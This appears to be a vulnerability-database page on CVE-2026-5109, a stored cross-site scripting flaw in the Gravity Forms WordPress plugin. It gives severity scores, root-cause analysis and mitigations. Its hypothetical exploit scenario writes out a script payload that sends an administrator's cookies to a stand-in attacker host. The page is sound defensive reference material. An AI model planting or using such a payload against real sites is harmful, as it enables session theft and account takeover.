Skip to main content

Gravity Forms CVE-2026-5109

| EUVDEUVD-2026-26741 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-05-02 Wordfence
7.2
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Submit crafted form with XSS payload in Product Option
  2. Delivery
    Bypass wp_kses() validation via sanitization mismatch
  3. Exploit
    Store unsanitized payload in database
  4. Execution
    Administrator views entry details
  5. Persist
    Execute JavaScript in admin session
  6. Impact
    Exfiltrate credentials or escalate privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires the target WordPress site to have Gravity Forms plugin ≤2.10.0 installed with forms that include Product Option fields (typically e-commerce order forms). The specific vulnerable code path is triggered when: (1) a form with Product Option fields is publicly accessible (not restricted to authenticated users), (2) an attacker can submit form entries (default configuration allows unauthenticated submissions), and (3) a site administrator accesses the Gravity Forms entry details page via the admin panel to view the Order Summary section, which renders the option_label value from view-order-summary.php line 32 without escaping. Exploitation is limited by the requirement for administrator interaction-the payload remains dormant in the database until manually viewed. Forms without Product Option fields or those restricted to authenticated users only are not exploitable via this vector. The Changed scope in CVSS vector (S:C) reflects that the vulnerability bridges the trust boundary from unauthenticated public user to authenticated administrator context.

Impact

CVSS 7.2 (High) with network vector, low complexity, no privileges required, and changed scope indicates significant exploitability, but real-world risk requires nuanced assessment. The AV:N/AC:L/PR:N vector suggests easy remote exploitation, but this conflicts with the stored XSS nature requiring administrator interaction (UI:R would be more accurate). The Changed scope (S:C) correctly reflects privilege escalation from unauthenticated to admin context. However, actual exploitation depends on attackers submitting forms and administrators viewing entries-not fully automated. No EPSS score available to assess real-world exploitation probability. Not listed in CISA KEV, indicating no confirmed widespread exploitation. No public POC identified. Primary risk: targeted attacks against sites using Gravity Forms for e-commerce where attackers can submit product orders, then wait for admin review to trigger payload execution. This enables account takeover, data exfiltration, or further WordPress compromise. The CVSS score may overstate automated risk (should include UI:R) but appropriately reflects impact severity given admin-level code execution. Fix version not independently confirmed-requires verification via Gravity Forms changelog reference.

Exploit ScenarioDerived

An unauthenticated attacker submits a Gravity Forms order containing a Product Option field with a crafted value like 'Large<script>fetch("https://attacker.com?c="+document.cookie)</script>'. The plugin's validation accepts this because wp_kses() strips the script tags for comparison against legitimate 'Large' option, but stores the full payload. When a site administrator logs into WordPress and views the entry details page to process the order, the Order Summary section outputs the unsanitized option_label, executing the JavaScript that exfiltrates the admin's session cookies to the attacker's server, enabling account takeover.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 02, 2026

Stored XSS in Gravity Forms for WordPress ≤2.10.0 allows unauthenticated remote attackers to inject malicious JavaScript through Product Option field values that execute when administrators view entry details. The flaw exploits a sanitization bypass: the plugin's state validation accepts values matching wp_kses()-cleaned legitimate options but stores the raw unsanitized input, which is then rendered without escaping in the Order Summary view (view-order-summary.php:32). EPSS data not available; no public exploit identified at time of analysis. Vendor patch status requires verification via changelog.

RemediationAI

Upgrade Gravity Forms to the latest version as specified in the official changelog at https://docs.gravityforms.com/gravityforms-change-log/-released patched version not independently confirmed from provided data; administrators must cross-reference CVE-2026-5109 with changelog entries post-2.10.0. Until patching, implement compensating controls: disable Product Option fields on public-facing forms (eliminates attack vector but breaks e-commerce functionality), restrict form submissions to authenticated users only via Gravity Forms settings (reduces attack surface but impacts public forms), implement Web Application Firewall rules to block HTML/JavaScript in Product Option field submissions (may cause false positives with legitimate special characters), and enable Content Security Policy headers to restrict inline script execution (reduces XSS impact but requires compatibility testing). Review existing form entries for suspicious option_label values containing HTML tags or JavaScript before viewing in admin panel. Note that disabling Product Options fundamentally changes form functionality and is only viable for non-commerce forms.

Affected VersionsENISA

Gravity Forms 0 ≤2.10.0

Affected Packages

euvd gravity_forms no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability affects the Gravity Forms WordPress plugin (cpe:2.3:a:gravity_forms:gravity_forms), a form builder commonly used for e-commerce with Product Option fields. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation). The attack exploits a logic flaw in the state validation function: it validates submitted Product Option values by comparing them against legitimate options after applying wp_kses() sanitization (WordPress's HTML/script filtering function), but if the sanitized version matches a valid option, the raw unsanitized payload is stored in the database. When administrators access entry details, the option_label value is output directly in view-order-summary.php line 32 without contextual output escaping, allowing the stored JavaScript to execute in the admin's browser. This represents a sanitization-validation mismatch vulnerability where input validation and output encoding are decoupled.

Know when Gravity Forms gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 7.2 HIGH
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Gravity Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to and including 2.10.0. This is due to insufficient validation and output escaping of Product Option field values. The vulnerability exists because the state validation function accepts submitted values where the wp_kses()-sanitized version matches a legitimate option value, but then stores the raw unsanitized value in the database. When administrators view entry details via the Order Summary section, the option_label is output directly without escaping (view-order-summary.php line 32), executing the injected JavaScript. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in entry data that will execute whenever an administrator accesses the entry details page.

Executive ViewAI

Why It Matters

Gravity Forms for WordPress versions 2.10.0 and earlier contain a stored cross-site scripting (XSS) vulnerability that allows unauthenticated attackers to inject malicious JavaScript through product option fields, which executes when administrators access entry details. This directly compromises administrator accounts and could enable unauthorized access to sensitive form data, customer information, and WordPress backend functions without requiring valid credentials.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict form access to authenticated users only via form-level settings; (2) Disable Product Option field type until patch is available; (3) Implement input validation at the WAF layer to sanitize JavaScript patterns in form submissions; (4) Limit administrator access to entry details to essential personnel only; (5) Enable WordPress security logging and monitor for suspicious entry modifications.

Threat Intelligence Overview

EPSS Score
0.0%
Top 98% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2026-84434 CRITICAL POC
9.8 Sep 19

Unauthenticated arbitrary file upload in the Gravity Forms WordPress plugin through version 3.1.0.4 can lead to remote c

CVE-2017-17780 MEDIUM POC
6.1 Dec 20

The Clockwork SMS clockwork-test-message.php component has XSS via a crafted "to" parameter in a clockwork-test-message

CVE-2023-2701 MEDIUM POC
6.1 Jul 17

The Gravity Forms WordPress plugin before 2.7.5 does not escape generated URLs before outputting them in attributes, lea

CVE-2026-103039 CRITICAL
9.8 Oct 30

Unauthenticated PHP object injection in the Gravity Forms WordPress plugin, affecting every version up to and including

CVE-2023-28782 HIGH
8.3 Dec 20

Deserialization of Untrusted Data vulnerability in Rocketgenius Inc. Rated high severity (CVSS 8.3), this vulnerability

CVE-2026-19513 HIGH
8.1 Sep 01

Arbitrary file upload in Gravity Forms for WordPress (all versions ≤ 3.0.2) allows unauthenticated attackers to write PH

CVE-2026-12997 HIGH
7.5 Jul 15

Arbitrary file disclosure in the Gravity Forms WordPress plugin (all versions through 2.10.4) lets unauthenticated attac

CVE-2026-97645 HIGH
7.2 Oct 30

Stored cross-site scripting in the Gravity Forms WordPress plugin through 3.1.2 allows unauthenticated form submitters t

CVE-2026-90437 HIGH
7.2 Oct 30

Stored cross-site scripting in the Gravity Forms plugin for WordPress, affecting all versions up to and including 3.1.1,

CVE-2026-16649 HIGH
7.2 Sep 05

Stored Cross-Site Scripting in the Gravity Forms WordPress plugin (all versions ≤2.10.5) permits unauthenticated attacke

CVE-2026-5110 HIGH
7.2 May 02

Stored cross-site scripting (XSS) in Gravity Forms WordPress plugin versions ≤2.10.0 allows remote unauthenticated attac

CVE-2026-5111 HIGH
7.2 May 02

Stored Cross-Site Scripting in Gravity Forms plugin for WordPress through version 2.10.0 allows unauthenticated remote a

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy